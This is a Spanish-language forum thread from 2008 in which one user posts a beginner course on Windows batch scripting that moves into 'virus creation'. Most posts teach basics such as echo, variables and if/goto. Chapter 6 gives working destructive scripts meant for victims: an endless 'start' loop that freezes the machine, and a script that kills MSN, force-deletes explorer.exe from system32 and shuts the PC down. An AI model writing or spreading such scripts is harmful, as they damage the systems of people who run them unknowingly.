APRENDER Un POCO DE .BAT

Tema en 'Programación & Programación Web' iniciado por virox, 7 Mar 2008.

  1. virox

    virox Usuario Casual nvl. 2
    37/41

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    SI Quieren hacer cosas Buenas deberan tener Aunque sea un poco de Conocimiento en cada area...

    Aquí les dejare la de programaren .Bat ,Desde lo basico practicamente D:

    ::portalnet::
    *Este curso va destinado para Newbies que aun no han comenzado a programar.
    *Intentare
    explicarlo todo lo mas claro y preciso que pueda.

    *Si ustedes ya han programado alguna vez, no se molesten en leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.

    *El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que puedan aprender bien.
    INTRO CURSO :O.-CAPITULO 1: MI PRIMER PROGRAMA .BAT
    .-CAPITULO 2: LAS VARIABLES
    .-CAPITULO 3: VARIABLES -CONTINUACION-
    .-CAPITULO 4: IF, GOTO, MENUS
    .-CAPITULO 5: ULTIMOS COMANDOS
    .-CAPITULO 6: INICIACION A LA CREACION DE VIRUS
    .-CAPITULO 7: CONTINUACION DE LA CREACION DE VIRUS

    ESpero Todo SAlga ASI : D...
    LA idea es que lo SIgan para que aprendan Todo ello :D


     
    A cathan22 le gusta esto.
  2. virox

    virox Usuario Casual nvl. 2
    87/163

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    CAPITULO UNO:

    MI PRIMER PROGRAMA .BAT

    En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la programcion en batch.

    Abran el bloc de notas.
    A continuacion escrivan
    * Asi sera como empesemos siempre el programa
    * A continuacion escribiremos el titulo del programa, para ello pondremos title seguido de su titulo, ejemplo:

    De esta forma nuestro programa tendra el nombre de, "mi primer programa Virox-lex´s"

    Ahora les mostrare una serie de comandos basicos que deben de aprender, les aconsejo que lo apunten en un papel para tenerlos siempre presentes.

    echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word

    echo este sirve para mostrar un mensaje en el programa

    rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para hacer tus aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las preguntas, apartir de aqui ire acabando las operaciones...etc)
    es como En C++ un Comentario

    pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa... pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir, daremos una tecla y continuara.

    exit esta sirve para acabar el programa, para salir de el....

    Bien una vez dicho esto, podremos crear nuestro primer programa.
    Abran el bloc de notas si aun no lo han echo y escriban..
    Ahora le dan a guardar como y lo llaman por ejemplo 1ºprogramaconvirox.bat o lo que quieran, pero deve ser loquesea.bat

    Ahora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!

    Despues intenten entender el codigo, y veran lo sencillo que es...

    En el proximo capitulo les enseñare como hacer que el programa te aga preguntas y tu responderlas...etc

    No se impacienten!! jeje
    Espero que les ayude.

    Un saludo, Virox-lex´s
     
  3. virox

    virox Usuario Casual nvl. 2
    87/163

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    CAPITULO 2: LAS VARIABLES

    Espero que les quedase claro lo que dimos en el capitulo numero1. Fue una cosa sencilla no?
    Ahora pasaremos a las variables.

    Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.

    Vieron que Empezamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado ejemplos. (asta aki ya lo sabian no??)
    a continuacion al poner set var=HACKER hace que la palabra HACKER se muestre cuando ponemos var entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un HAcker jejeje, esto es un ejemplo,


    asi pueden acer todo lo que se les ocurra...lo q deben recordar es que tiene q empezar por set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra seguida de set, de esta forma %unapalabra%

    por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les ago el ejemplo...

    CLS Borrara lo anterior ...en el programa,


    han visto no?? si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y pegar para que les sirva de ejemplo. ballan provando, es la mejor forma de acordarte de ello y coger soltura

    Y bueno, si se an quedado con esto... por hoy ya es bastante...

    voy a dar ya los codigos de colores para que experimenten a cambiar el color a la ventana del programa. Es facil de usar, deben poner, color seguido de un numero y letra (color de letras y de fondo)... prueben....

    CODIGO DE COLORES:

    ASI SE ""METEN"" LOS COLORES :O


    Espero que asta aqui lo hallan entendido, si necesitan alguna aclaracion o no entienden algo. No duden en postear.
     
  4. CONDELEKTRO

    CONDELEKTRO Usuario Casual nvl. 2
    37/41

    Registrado:
    7 Nov 2007
    Mensajes:
    2.974
    Me Gusta recibidos:
    1
    Esta Claro Pero Aun Esperamos Los Siguientes Capitulos...............
     
  5. virox

    virox Usuario Casual nvl. 2
    87/163

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    :O
    ____

    CAPITULO 3: VARIABLES -CONTINUACION-



    En esta ocasion, explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas. Su base y modo de empleo es similar a las del capitulo anterior (las set/p).

    Estas en vez de set/p xxx= se llaman set/a xxx=
    Sirve por ejemplo para realizar medias, porcentajes...etc...

    Lo mejor es ver un ejemplo:

    Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1º capitulo, y se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo digo porque lo utilizare para irles explicando.
    Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... ¿¡que qereis!? jeje

    Espero que lo ayais entendido.

    Los comandos de las operaciones son

    suma+
    resta -
    producto *
    division /
    exponente ^




    _____________________
    :)
    Capitulo 4: IF, GOTO & MENU

    Bueno, en este 4º capitulo, explicaremos 2 sencillos comandos (el goto, y el de la estructuracion por menus), y otro algo mas complicado (el if) pero Con un poco de praCtica es pan COmido :D

    El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un menu...

    Los menus, nos permiten hacer "menus" o apartados en nuestro bat.
    (ko un titulo en un libro ) hay cn el ejemplo entenderan mejor:)

    -Los menus se hacen escribiendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas claro)

    El comando if ,
    sirve para establecer una condicion, es decir, si la condicion se cumple o no, se hara tal cosa.(if /*es como decir "sí")
    if var= eres lammer // si var =eres lammer

    El comando if, dispone de los siguientes atributos:

    TRanQUIlos ahora un ejemplo :D!!

    Se entiende ciereto :p
    OTRO EJEMPLO :D
    Ya lo habran pillado no?? ahajahjahaj

    También pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa esto....haz esto, lo que hace es decir, "SI NO pasa esto...haz esto". ¿Entienden no??? sino hagan un ejemplo veran q facil es.
    else = NO
    if = si


    Se preguntaran tambien que pasa, cuando por ejemplo en el 1º ejemplo que puse, en vez de escribir si o no, escribimos otra cosa,
    Entonces lo que sucedera, es que el lenguage, al ser lineal, pasara a la siguiente linea... sin importar lo q pongamos (pruebenlo).

    Lo que qiere decir esto, es que si la variable es 1, ballamos al menu1, sino, al menu 2.
    La sintaxis seria esta

    if condiciones (accion1) ELSE accion2

    *La 1º accion debe ir entre parentesis obligatoriamente.

    Vean un ejemplo les quedara mas claro...

    En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escribes cualqier otra cosa, veran que vuelve al principio, y no pasa como en los ejemplos de antes.


    Pero no se preocupen todo esto tiene solucion con un comando llamado else.

    Lo que quiere decir es: sino ház esto, es decir, por ejemplo decimos


    IA TERMINE POR HOY.. Practique.. para que despues se les haga facil..
    el iniciar a crear virus :D ajsdashdsad!

    eso es lo que qeren no? :O

    IA xaúZ muxo por hoy a razonar

    y Dudas posteenlas ..aki :D
     
  6. CONDELEKTRO

    CONDELEKTRO Usuario Casual nvl. 2
    37/41

    Registrado:
    7 Nov 2007
    Mensajes:
    2.974
    Me Gusta recibidos:
    1
    AVER SI ESTOY ENTENDIENDO EN ESE COMANDO QUE PUSISTE HAY TE FALTO AL PRINCIPIO PONER EL "OFF" DESPUES DE "ECHO"

    OSEA
    "ECHO OFF"


    PARA OCULTAR LO QUE HICIMOS.......
     
  7. virox

    virox Usuario Casual nvl. 2
    87/163

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    Bien... !! :)

    tienes toda laRazón: D
    y si quieres tambien un Title :p

    __________
    exelente aclaracion :D
     
  8. virox

    virox Usuario Casual nvl. 2
    87/163

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    CAPITULO 5: ULTIMOS COMANDOS

    Bien, si an entendido lo anterior, ya es el momento de que sepan el resto de comandos, y experimenten y prueben por ustedes mismos.

    En este capitulo,enseñare el resto de comandos interesantes, y para el proximo capitulo, nos meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.

    Bien, estos son los comandos basicos q deben recordar:

    del borra archivos, por ejemplo: del c:/ruta/del/archivo/juego.exe

    /P Pide confirmación en cada caso
    /F Modo force. Borra incluso los archivos de solo lectura
    /S Borra también los subdirectorios.
    /Q Modo silencioso. No pide confirmación en ningún caso

    rd borra el directorio de raid, por ejemplo: rd c:/ruta/directorio/raiz borrara ese dir.

    star comienza algo, por ejemplo star www.portalnet.cl

    taskkill (win 98)tskill (wind xp) mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe

    format unidad
    : formatea una unidad, por ejemplo format c:

    msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te olvides de visitar infiernohacker

    reg add añade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)

    > y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.
    Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente adios.

    Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.
    Espero que lo hayan entendido... en brebes palabras_
    > crea o remplaza un archivo
    >>salta asta la linea siguiente

    EJEMPLOS:
    asi : D (( solo lo hice pa q vean q lo colore funkan :D
    http://img217.*************/img217/5362/batgg2.jpg

    Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra virox

    * El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
    borrara todos los archivos con extension .jpg
    del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.

    ? El? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria; casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?

    El * y ? sirve tanto para el nombre como la extension.... No voy a wear:) mucho en esto, porque es algo facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.
    c?sa.* (archivos c -un caracter- sa y de cualquier extension)
    *asa*.b* ( -cualquier cosa- asa -cualquier cosa- y extension b + lo que sea)

    CHDIR o CD [path>

    Cambia al directorio indicado.

    CD \"c:\\archivos de programa\" Trasladarse al directorio Archivos de programa
    CD .. Trasladarse al directorio superior
    CD \\ Trasladarse al raíz

    ATTRIB [/S> [archivo>

    Muestra los atributos de los archivos indicados y en su caso permite cambiarlos.

    Con el parámetro /S busca también en subdirectorios.

    Los atributos son:
    H -> oculto. Se activa con +h y desactiva con -h
    R -> Lectura. Solo lectura con +r, normal con -r
    S -> Sistema. Se activa con +s y desactiva con -s
    A -> Modificado. Para copias de seguridad incrementales. +a indica modificado y -a indica no modificado.

    ATTRIB archivo.txt Muestra los atributos de ese archivo
    ATTRIB -r archivo.txt Pone el atributo solo lectura a archivo.txt

    Attrib miarchivo.txt (mostrar los atributos de miarchivo.txt)
    attrib *.exe +r +r +s (pone a todos los archivos con extensión exe como ocultos, del sistema y read only)

    shutdown este comando, depende de las letras que lo acompañen, puede acer una cosa u otra:
    si esta seguido de -r se reiniciara el equipo
    -s hara que se apage
    -f forzara a cerrarse todos programas
    -t 15 indica el tiempo...en este caso 15 segundos
    -c " " lo que va entre comillas sera un mensaje...

    pongamos un ejemplo_

    Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los basicos.

    IA .esoso sOn los bascios:: si se quedo alguno pFF ..era! , nah ahi saldran cuando empezemos la creacion de VIrus!,

    OJALA SE INTEGREN MAS USER..PARA DESPUE A FUTURO :eek: ETAR TOOS AVANSADOS! _:D
    ala par!
    si pueden promover esto sigan!

    XauZ
     
  9. virox

    virox Usuario Casual nvl. 2
    87/163

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    lo pille en la web ... pa que no se den la paja de buscarlo en CMD
    Autor!: Hunter.Ghost de-> deviceforo
    HELP

    El comando HELP sirve para pedir ayuda sobre un comando o para ver la lista de comandos disponibles. Para ver los comandos disponibles Escribimos HELP en la consola, nos saldra esto:


    Código:
    Para obtener mas informaci¢n acerca de un comando espec¡fico, escriba HELP
    seguido del nombre de comando
    Nos solo hay estos comandos, tambien hay algunos como el ping, netstat, tracert,... pero estos mas que comandos son programas que estan en system 32, los programas que estan en system 32 se pueden ejecutar desde la consola escribiendo su nombre.
     
  10. virox

    virox Usuario Casual nvl. 2
    87/163

    Registrado:
    9 Jul 2007
    Mensajes:
    9.206
    Me Gusta recibidos:
    16
    CAPITULO 6: INICIACION A LA CREACION DE VIRUS

    Como ya habia dicho, a partir de aqui, comenzaremos con la creacion de virus.(((MIEDOOO)))) jajaj NAH

    Epezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo (profundizando algo mas) en este tema.

    1.)Introduccion

    Buenas , ante todo he de decir que esto es un manual de introducción y no un manual para expertos. En este manual se hablara sobre los """virus .bat"" (archivos por lotes ejecutables de ms-dos)

    ¿Qué es un comando?
    es una orden que le damos al sistema operativo para que haga una tarea determinada.

    explicación: @echo off

    Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.

    explicación: shutdown

    es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
    que les debes dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.

    explicación: parametro -s y -t

    el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos.

    otros parametros de shutdown:

    shutdown -r = Reinicia
    shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
    shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m \\nombredehost
    shutdown -f = fuerza el cierre de las aplicaciones.

    Comandos básicos

    a continuación pondré varios comandos que sirven mucho a la hora de hacer virus.

    -del = borra un archivo
    -copy = copia un archivo
    -reg = hacer modificaciones en el registro
    -net = Muchas funciones, escriban en cmd net /? para ver sus funciones Sonrisa
    -RD = elimina un directorio
    -set = Muestra , establece, crea , variables de entorno de windows.
    -taskkill o tskill = mata procesos

    Comandos del registro

    Operaciones:

    REG QUERY /?
    REG ADD /?
    REG DELETE /?
    REG COPY /?
    REG SAVE /?
    REG RESTORE /?
    REG LOAD /?
    REG UNLOAD /?
    REG COMPARE /?
    REG EXPORT /?
    REG IMPORT /?

    Usad estos comandos para obtener ayuda sobre los parametros después de reg.

    inicio-ejecutar-cmd y escrives algun comando para saber lo que es (asi me ahorro el explicar cada uno xD)

    Bucles

    Bueno un bucle es repetir muchas veces lo mismo
    ejemplo

    @echo off
    :virox
    echo te estoy haciendo un bucle jaja
    goto virox

    jeje ya se imaginana :O las cosas que puedes hacer.

    otro ejemplo:

    @echo off
    :menu
    start
    goto menu


    Madre mía.. este simple código , el que lo abra tendrá que reiniciar , por que el pc se le trabará todo.

    el comando start lo que hace es abrir otra shell, así que imaginate este bucle infinito.

    podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
    (start www.portalnet.cl ) ( start www.ladoscuro.mforos.com )
    Nuestro segundo virus.

    @echo off
    taskkill /F /IM msnmsgr.exe
    del /F c:\windows\system32\explorer.exe
    shutdown -s -t 10 -c "Asta luego lucas!!"

    Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con el mensaje asta luego lucas xD

    Variables de windows xp

    para ver el contenido de estas variables escriban en cmd.exe

    echo %NOMBREDELAVARIABLE%

    %COMPUTERNAME% = Nombre de host.
    %SYSTEMROOT% = Carpeta de administración Normalmente c:\windows
    %TEMP% = directorio donde se encuentran los archivos temporales
    %WINDIR% = directorio de windows.
    %USERNAME% = usuario con el que se inicio sesión
    %USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión
    %PROGRAMFILE% = directorio donde se encuentran los archivos de programas
    %OS% = muestra el sistema operativo que estamos ejecutando
    %LOGONSERVER% = nombre de nuestro server (\\mihost)

    no son todos pero estan los mas importanter ^^

    Y bueno, por hoy lo dejo aqui.. cuando pueda seguire.. ^^ espero que pueda ser pronto.

    POSTEEENNN SI LES GUSTA!!! o si dejo asta aki la wa!
     
  11. sacdracum

    sacdracum Usuario Casual nvl. 2
    37/41

    Registrado:
    25 Ago 2007
    Mensajes:
    1.132
    Me Gusta recibidos:
    1
    wena cumpa!! exelente aporte, ahora hay que ponerle craneo y planerar para que utilizar la info (yo utilisaba bat para realizar tareas de administracion pero ahora utilizo visual basic script)
    saludos
     
  12. PAULANER_METAL

    PAULANER_METAL Usuario Casual nvl. 2
    37/41

    Registrado:
    26 Mar 2007
    Mensajes:
    2.708
    Me Gusta recibidos:
    1
    oe te las mandaste perro con este tutoriall..
    muxas gracias